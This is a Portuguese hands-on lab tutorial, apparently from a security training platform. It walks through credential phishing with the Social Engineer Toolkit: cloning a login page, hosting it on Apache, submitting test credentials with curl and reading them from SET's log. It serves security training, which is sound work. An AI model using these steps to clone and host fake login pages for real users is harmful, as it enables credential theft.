Simulação de Phishing com SET: Aprenda a Capturar Credenciais

Introdução

Neste laboratório, você aprenderá como simular um ataque de phishing usando o Social Engineer Toolkit (SET) para entender as técnicas de coleta de credenciais. Você praticará a instalação do SET, a criação de páginas de login falsas e a captura de credenciais para analisar como os atacantes exploram as vulnerabilidades humanas.

O exercício demonstra métodos de engenharia social do mundo real através da experiência prática com a clonagem de páginas de phishing e o monitoramento de credenciais. Você observará como os usuários podem ser facilmente enganados para revelar informações confidenciais em sites falsificados.

Nesta etapa, você instalará o SocialEngineer Toolkit (SET), um poderoso framework de teste de penetração (penetration testing) de código aberto projetado para ataques de engenharia social. O SET oferece vários vetores de ataque, como coleta de credenciais, campanhas de phishing e muito mais. Para iniciantes, é importante entender que o SET é uma ferramenta de segurança legítima usada por profissionais para testar vulnerabilidades do sistema, e não para fins maliciosos.

Primeiro, certifique-se de estar no diretório de trabalho padrão. É aqui que faremos o download e instalaremos o SET para manter seus arquivos organizados:
```
cd ~/project
```
Clone o repositório do SET do GitHub. Este comando baixa a versão mais recente do SET de sua fonte oficial:
```
git clone https://github.com/trustedsec/social-engineer-toolkit.git
```
Navegue para o diretório do SET. Após o download, precisamos entrar na pasta onde o SET foi instalado:
```
cd social-engineer-toolkit
```
Instale o SET usando o instalador Python. O comando 'sudo' nos dá privilégios administrativos necessários para a instalação, enquanto 'python3' garante que estamos usando a versão correta do Python:
```
sudo python3 setup.py install
```
Aguarde a conclusão da instalação. Este processo pode levar alguns minutos, pois instala todos os componentes necessários. Você deve ver uma saída semelhante a:
```
[*] Social Engineer Toolkit (SET) has been installed.
[*] You can now launch setoolkit by typing 'setoolkit' in your terminal.
```
Verifique a instalação verificando a versão do SET. Isso confirma que o SET foi instalado corretamente e mostra qual versão você está executando:
```
setoolkit --version
```
Você deve ver a saída mostrando o número da versão instalada, o que significa que o SET está pronto para uso.

Configurar uma Página de Phishing

Nesta etapa, você configurará uma página de phishing usando o Social Engineer Toolkit (SET) para simular um ataque de coleta de credenciais. Phishing é um ataque cibernético comum onde os atacantes criam páginas de login falsas para roubar as credenciais dos usuários. O SET facilita a demonstração de como isso funciona em um ambiente controlado.

Criaremos uma página de login falsa que imita um serviço popular. Esta página clonada terá a mesma aparência do site real, mas quaisquer credenciais inseridas serão capturadas pelo nosso sistema, em vez de serem enviadas para o serviço legítimo.

Primeiro, certifique-se de estar no diretório do SET. É aqui que o toolkit está instalado em seu sistema:
```
cd ~/project/social-engineer-toolkit
```
Inicie o toolkit SET com privilégios de root. O SET requer acesso administrativo para configurar as configurações de rede e os serviços web:
```
sudo setoolkit
```
No menu do SET, navegaremos pelas opções de ataque:
- Selecione 1) Social-Engineering Attacks - Esta é a categoria principal para ataques de phishing
- Em seguida, escolha 2) Website Attack Vectors - Estamos criando um site falso
- Selecione 3) Credential Harvester Attack Method - Visando especificamente as credenciais de login
- Escolha 2) Site Cloner - Copiaremos o design de um site existente
Quando solicitado o endereço IP para POST back, pressione Enter para usar o padrão (o IP da sua VM). É para aqui que as credenciais roubadas serão enviadas.
Insira a URL para clonar (usaremos um site de demonstração). Em um engajamento real, este seria o site alvo que você está imitando:
```
https://example.com
```
O SET clonará a página e configurará o ataque de phishing. O processo de clonagem copia o HTML, CSS e imagens do site para que ele pareça autêntico. Você deve ver uma saída semelhante a:
```
[*] Cloning the website: https://example.com
[*] This could take a little bit...
[*] Files have been imported to the Apache web root.
```
A página de phishing agora está configurada e pronta para ser hospedada (o que faremos na próxima etapa). Neste ponto, o SET criou uma réplica perfeita do site alvo que capturará quaisquer credenciais inseridas em seu formulário de login.

Hospedar a Página Falsa

Nesta etapa, tornaremos sua página de phishing disponível na rede, hospedando-a com o servidor web Apache. Apache é um servidor web popular que entregará sua página de login falsa a qualquer pessoa que visitar o endereço IP da sua VM. É assim que os ataques de phishing reais funcionam - imitando sites legítimos em servidores controlados pelo atacante.

Primeiro, precisamos instalar o Apache, caso ele ainda não esteja presente em seu sistema. Execute este comando para atualizar sua lista de pacotes e instalar o Apache:
```
sudo apt-get update && sudo apt-get install -y apache2
```
A flag -y confirma automaticamente a instalação, para que você não precise aprová-la manualmente.
Após a instalação, verifique se o Apache está em execução com:
```
sudo service apache2 status
```
Se o serviço não estiver em execução (o que é comum após uma nova instalação), inicie-o com:
```
sudo service apache2 start
```
O Social Engineer Toolkit (SET) salva automaticamente seus arquivos de página de phishing no diretório web padrão do Apache. Vamos verificar se esses arquivos existem:
```
ls /var/www/html
```
Você deve ver index.html (a página principal de phishing) junto com outros arquivos que fazem a página parecer autêntica, como imagens e folhas de estilo do site clonado.
Para permitir que outros acessem sua página de phishing, você precisa saber o endereço IP da sua VM. Encontre-o com:
```
hostname -I
```
Anote este endereço IP (nós o chamaremos de SEU_IP_DA_VM), pois você precisará dele para testar e compartilhar o link de phishing.
Antes de compartilhar a página, teste-a localmente para garantir que ela carregue corretamente:
```
curl http://localhost
```
Este comando busca o conteúdo da página. Você deve ver a saída HTML correspondente ao seu site clonado. Se você receber um erro, o Apache pode não estar funcionando corretamente.
Sua página de phishing agora está ativa e acessível em:
```
http://SEU_IP_DA_VM
```
Qualquer pessoa em sua rede que visitar este endereço verá sua página de login falsa.
Mantenha o Apache em execução - não feche o terminal nem pare o serviço. Nas próximas etapas, usaremos esta página hospedada para capturar credenciais quando as vítimas inserirem suas informações.

Capturar Credenciais

Nesta etapa, você aprenderá como os ataques de phishing capturam credenciais de login, simulando as perspectivas do atacante e da vítima. Quando as vítimas, sem saber, inserem seus dados em páginas de login falsas (como a que criamos anteriormente), o SET salva essas informações confidenciais para o atacante.

Primeiro, vamos verificar se o SET ainda está em execução a partir da nossa configuração anterior. Se você o fechou ou a sessão expirou, precisamos reiniciar a ferramenta. Isso garante que nosso servidor de phishing esteja ativo e aguardando as conexões das vítimas:
```
cd ~/project/social-engineer-toolkit
sudo setoolkit
```
Agora, configuraremos o SET para capturar credenciais. No menu principal do SET, selecione cuidadosamente estas opções em ordem:
- 4) Create a Payload and Listener - Isso prepara o SET para receber dados
- 2) Website Attack Vectors - Estamos focando em ataques baseados na web
- 3) Credential Harvester Attack Method - Alvo específico para credenciais de login
- 1) Web Templates - Usa modelos de página de phishing pré-fabricados
Mantenha esta janela do terminal aberta - o SET agora está monitorando ativamente o tráfego da rede e esperando que as vítimas enviem suas credenciais através de nossa página de login falsa.
Vamos simular a ação de uma vítima. Abra uma nova aba do terminal (Ctrl+Shift+T na maioria dos ambientes Linux) e use o curl para enviar credenciais de teste para nosso servidor de phishing local. Isso imita o que acontece quando alguém preenche e envia um formulário de login:
```
curl -X POST -d "username=testuser&password=Test123!" http://localhost
```
Verifique imediatamente seu terminal SET. Você deve ver a confirmação de que as credenciais foram capturadas, exibidas neste formato claro:
```
[*] WE GOT A HIT!
Username: testuser
Password: Test123!
```
O SET registra automaticamente todas as credenciais capturadas para revisão posterior. Para ver o log completo do ataque, incluindo nossa entrada de teste, execute:
```
sudo cat /var/lib/set/logs/set.log
```
O arquivo de log mostrará suas credenciais de teste junto com a hora exata em que foram capturadas. Em ataques reais, este arquivo conteria todas as credenciais de phishing capturadas com sucesso ao longo do tempo.

Revisar Dados Capturados

Agora que você concluiu a simulação de phishing, vamos examinar os resultados. Esta etapa final mostrará como acessar e interpretar os dados coletados pelo Social Engineer Toolkit (SET), bem como limpar adequadamente seu ambiente de teste para manter as melhores práticas de segurança.

Primeiro, visualizaremos o arquivo de log completo do SET, que contém todas as credenciais capturadas em seu formato bruto. Este arquivo é armazenado em um local protegido do sistema, então precisamos usar sudo:
```
sudo cat /var/lib/set/logs/set.log
```
Este comando exibe o conteúdo do arquivo de log principal do SET, onde todas as credenciais capturadas são armazenadas automaticamente durante a simulação de phishing.
Para melhor organização e referência futura, vamos criar uma cópia de trabalho desses dados em seu diretório do projeto. Também alteraremos a propriedade do arquivo para sua conta de usuário do laboratório:
```
cd ~/project
sudo cp /var/lib/set/logs/set.log captured_credentials.txt
sudo chown labex:labex captured_credentials.txt
```
O comando chown garante que você tenha as permissões adequadas para trabalhar com este arquivo sem precisar de sudo para operações subsequentes.
Agora, vamos visualizar o relatório formatado que acabamos de criar:
```
cat captured_credentials.txt
```
Você deve ver uma saída estruturada semelhante a este exemplo, mostrando as credenciais capturadas junto com os carimbos de data/hora e informações da fonte:
```
[*] 2023-11-15 14:30:22 - Credentials captured:
Username: testuser
Password: Test123!
IP Address: 127.0.0.1
```
É importante limpar seu ambiente de teste após concluir o exercício. Isso remove a página de phishing que criamos e interrompe o servidor web:
```
sudo rm /var/www/html/index.html
sudo service apache2 stop
```
Esses comandos garantem que nenhum material de teste residual permaneça, o que poderia representar riscos de segurança.
Finalmente, vamos documentar nossas descobertas criando um relatório de resumo que conta quantas credenciais foram capturadas:
```
echo "Phishing Test Results" > test_summary.txt
echo "Total credentials captured: $(grep -c 'Username' captured_credentials.txt)" >> test_summary.txt
cat test_summary.txt
```
Isso cria um relatório simples mostrando o número total de pares de credenciais capturados durante seu teste. O comando grep -c conta quantas vezes 'Username' aparece em seu arquivo de dados capturados.

Resumo

Neste laboratório, você aprendeu como simular ataques de phishing usando o Social Engineer Toolkit (SET). O processo incluiu a instalação do SET, a configuração de páginas de phishing por meio da coleta de credenciais e a clonagem de sites-alvo para criar interfaces de login enganosas.

O exercício proporcionou experiência prática com ferramentas de teste de penetração e técnicas de engenharia social. Você explorou como os atacantes capturam credenciais e adquiriu conhecimento sobre estratégias defensivas contra tais ameaças à segurança.

Simulação de Phishing no SET